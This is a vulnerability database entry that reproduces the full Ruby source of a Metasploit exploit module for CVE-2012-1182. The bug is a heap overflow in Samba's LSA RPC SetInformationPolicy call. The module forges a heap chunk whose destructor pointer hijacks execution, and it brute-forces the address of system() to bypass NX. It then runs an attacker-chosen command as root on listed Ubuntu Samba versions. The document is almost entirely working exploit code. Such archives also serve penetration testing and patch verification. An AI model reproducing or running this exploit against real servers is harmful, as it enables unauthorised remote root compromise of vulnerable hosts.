Lucene search

K
packetstormUnknownPACKETSTORM:116953
HistorySep 28, 2012 - 12:00 a.m.

Samba SetInformationPolicy AuditEventsInfo Heap Overflow

2012-09-2800:00:00
unknown
packetstormsecurity.com
26

0.565 Medium

EPSS

Percentile

97.3%

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::DCERPC  
include Msf::Exploit::Remote::SMB  
include Msf::Exploit::Brute  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Samba SetInformationPolicy AuditEventsInfo Heap Overflow',  
'Description' => %q{  
This module triggers a vulnerability in the LSA RPC service of the Samba daemon  
because of an error on the PIDL auto-generated code. Making a specially crafted  
call to SetInformationPolicy to set a PolicyAuditEventsInformation allows to  
trigger a heap overflow and finally execute arbitrary code with root privileges.  
  
The module uses brute force to guess the system() address and redirect flow there  
in order to bypass NX. The start and stop addresses for brute forcing have been  
calculated empirically. On the other hand the module provides the StartBrute and  
StopBrute which allow the user to configure his own addresses.  
},  
'Author' =>  
[  
'Unknown', # Vulnerability discovery  
'blasty', # Exploit  
'sinn3r', # Metasploit module  
'juan vazquez' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['CVE', '2012-1182'],  
['OSVDB', '81303'],  
['BID', '52973'],  
['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-069/']  
],  
'Privileged' => true,  
'Payload' =>  
{  
'DisableNops' => true,  
'Space' => 811,  
'Compat' =>  
{  
'PayloadType' => 'cmd',  
'RequiredCmd' => 'generic bash telnet python perl',  
}  
},  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Targets' =>  
[  
# gdb /usr/sbin/smbd `ps auwx | grep smbd | grep -v grep | head -n1 | awk '{ print $2 }'` <<< `echo -e "print system"` | grep '$1'  
['2:3.5.11~dfsg-1ubuntu2 and 2:3.5.8~dfsg-1ubuntu2 on Ubuntu 11.10',  
{  
'Offset' => 0x11c0,  
'Bruteforce' =>  
{  
# The start for the final version should be 0xb20 aligned, and then step 0x1000.  
'Start' => { 'Ret' => 0x00230b20 },  
'Stop' => { 'Ret' => 0x22a00b20 },  
'Step' => 0x1000,  
}  
}  
],  
['2:3.5.8~dfsg-1ubuntu2 and 2:3.5.4~dfsg-1ubuntu8 on Ubuntu 11.04',  
{  
'Offset' => 0x11c0,  
'Bruteforce' =>  
{  
# The start should be 0x950 aligned, and then step 0x1000.  
'Start' => { 'Ret' => 0x00230950 },  
'Stop' => { 'Ret' => 0x22a00950 },  
'Step' => 0x1000,  
}  
}  
],  
['2:3.5.4~dfsg-1ubuntu8 on Ubuntu 10.10',  
{  
'Offset' => 0x11c0,  
'Bruteforce' =>  
{  
# The start should be 0x680 aligned, and then step 0x1000.  
'Start' => { 'Ret' => 0x00230680 },  
'Stop' => { 'Ret' => 0x22a00680 },  
'Step' => 0x1000,  
}  
}  
]  
],  
'DisclosureDate' => 'Apr 10 2012',  
'DefaultTarget' => 0,  
))  
  
register_options([  
OptInt.new("StartBrute", [ false, "Start Address For Brute Forcing" ]),  
OptInt.new("StopBrute", [ false, "Stop Address For Brute Forcing" ])  
], self.class)  
  
end  
  
def exploit  
if target.bruteforce?  
bf = target.bruteforce  
  
if datastore['StartBrute'] and datastore['StartBrute'] > 0  
bf.start_addresses['Ret'] = datastore['StartBrute']  
end  
  
if datastore['StopBrute'] and datastore['StopBrute'] > 0  
bf.stop_addresses['Ret'] = datastore['StopBrute']  
end  
  
if bf.start_addresses['Ret'] > bf.stop_addresses['Ret']  
raise ArgumentError, "StartBrute should not be larger than StopBrute"  
end  
end  
super  
end  
  
def check  
begin  
connect()  
smb_login()  
disconnect()  
  
version = smb_peer_lm().scan(/Samba (\d\.\d.\d*)/).flatten[0]  
minor = version.scan(/\.(\d*)$/).flatten[0].to_i  
print_status("Version found: #{version}")  
  
return Exploit::CheckCode::Appears if version =~ /^3\.4/ and minor < 16  
return Exploit::CheckCode::Appears if version =~ /^3\.5/ and minor < 14  
return Exploit::CheckCode::Appears if version =~ /^3\.6/ and minor < 4  
  
return Exploit::CheckCode::Safe  
  
rescue ::Exception  
return CheckCode::Unknown  
end  
end  
  
def brute_exploit(target_addrs)  
  
print_status("Trying to exploit Samba with address 0x%.8x..." % target_addrs['Ret'])  
datastore['DCERPC::fake_bind_multi'] = false  
datastore['DCERPC::max_frag_size'] = 4248  
  
pipe = "lsarpc"  
  
print_status("Connecting to the SMB service...")  
connect()  
print_status("Login to the SMB service...")  
smb_login()  
  
handle = dcerpc_handle('12345778-1234-abcd-ef00-0123456789ab', '0.0', 'ncacn_np', ["\\#{pipe}"])  
print_status("Binding to #{handle} ...")  
dcerpc_bind(handle)  
print_status("Bound to #{handle} ...")  
  
stub = "X" * 20  
  
cmd = ";;;;" # padding  
cmd << "#{payload.encoded}\x00" # system argument  
tmp = cmd * (816/cmd.length)  
tmp << "\x00"*(816-tmp.length)  
  
stub << NDR.short(2) # level  
stub << NDR.short(2) # level 2  
stub << NDR.long(1) # auditing mode  
stub << NDR.long(1) # ptr  
stub << NDR.long(100000) # r-> count  
stub << NDR.long(20) # array size  
stub << NDR.long(0)  
stub << NDR.long(100)  
stub << rand_text_alpha(target['Offset'])  
# Crafted talloc chunk  
stub << 'A' * 8 # next, prev  
stub << NDR.long(0) + NDR.long(0) # parent, child  
stub << NDR.long(0) # refs  
stub << NDR.long(target_addrs['Ret']) # destructor # will become EIP  
stub << NDR.long(0) # name  
stub << "AAAA" # size  
stub << NDR.long(0xe8150c70) # flags  
stub << "AAAABBBB"  
stub << tmp # pointer to tmp+4 in $esp  
stub << rand_text(32632)  
stub << rand_text(62000)  
  
print_status("Calling the vulnerable function...")  
  
begin  
call(dcerpc, 0x08, stub)  
rescue Rex::Proto::DCERPC::Exceptions::NoResponse, Rex::Proto::SMB::Exceptions::NoReply, ::EOFError  
print_status('Server did not respond, this is expected')  
rescue Rex::Proto::DCERPC::Exceptions::Fault  
print_error('Server is most likely patched...')  
rescue => e  
if e.to_s =~ /STATUS_PIPE_DISCONNECTED/  
print_status('Server disconnected, this is expected')  
end  
end  
  
handler  
disconnect  
end  
  
# Perform a DCE/RPC Function Call  
def call(dcerpc, function, data, do_recv = true)  
  
frag_size = data.length  
if dcerpc.options['frag_size']  
frag_size = dcerpc.options['frag_size']  
end  
object_id = ''  
if dcerpc.options['object_call']  
object_id = dcerpc.handle.uuid[0]  
end  
if options['random_object_id']  
object_id = Rex::Proto::DCERPC::UUID.uuid_unpack(Rex::Text.rand_text(16))  
end  
  
call_packets = make_request(function, data, frag_size, dcerpc.context, object_id)  
call_packets.each { |packet|  
write(dcerpc, packet)  
}  
  
return true if not do_recv  
  
raw_response = ''  
  
begin  
raw_response = dcerpc.read()  
rescue ::EOFError  
raise Rex::Proto::DCERPC::Exceptions::NoResponse  
end  
  
if (raw_response == nil or raw_response.length == 0)  
raise Rex::Proto::DCERPC::Exceptions::NoResponse  
end  
  
  
dcerpc.last_response = Rex::Proto::DCERPC::Response.new(raw_response)  
  
if dcerpc.last_response.type == 3  
e = Rex::Proto::DCERPC::Exceptions::Fault.new  
e.fault = dcerpc.last_response.status  
raise e  
end  
  
dcerpc.last_response.stub_data  
end  
  
# Used to create standard DCERPC REQUEST packet(s)  
def make_request(opnum=0, data="", size=data.length, ctx=0, object_id = '')  
  
opnum = opnum.to_i  
size = size.to_i  
ctx = ctx.to_i  
  
chunks, frags = [], []  
ptr = 0  
  
# Break the request into fragments of 'size' bytes  
while ptr < data.length  
chunks.push( data[ ptr, size ] )  
ptr += size  
end  
  
# Process requests with no stub data  
if chunks.length == 0  
frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(3, opnum, '', ctx, object_id) )  
return frags  
end  
  
# Process requests with only one fragment  
if chunks.length == 1  
frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(3, opnum, chunks[0], ctx, object_id) )  
return frags  
end  
  
# Create the first fragment of the request  
frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(1, opnum, chunks.shift, ctx, object_id) )  
  
# Create all of the middle fragments  
while chunks.length != 1  
frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(0, opnum, chunks.shift, ctx, object_id) )  
end  
  
# Create the last fragment of the request  
frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(2, opnum, chunks.shift, ctx, object_id) )  
  
return frags  
end  
  
# Write data to the underlying socket  
def write(dcerpc, data)  
dcerpc.socket.write(data)  
data.length  
end  
  
end  
  
`